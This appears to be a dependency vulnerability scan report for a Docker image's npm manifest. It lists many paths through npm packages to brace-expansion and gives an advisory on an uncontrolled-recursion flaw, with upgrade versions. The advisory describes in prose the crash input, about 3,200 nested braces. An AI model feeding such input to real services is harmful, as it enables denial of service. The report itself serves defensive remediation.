  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1

Overview

brace-expansion is a Brace expansion as known from sh/bash

Affected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in expand_ when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., { repeated ~3,200 times followed by a,b and the matching } characters) to exhaust the native call stack and crash the process with a RangeError: Maximum call stack size exceeded. The max and maxLength bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.

Remediation

Upgrade brace-expansion to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.

References

More about this vulnerability

Uncontrolled Recursion

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: brace-expansion
  • Introduced through: rag-builder@1.0.0, glob@8.1.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › glob@8.1.0 › minimatch@5.1.6 › brace-expansion@2.0.2
  • Introduced through: lib@* › npm@10.8.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
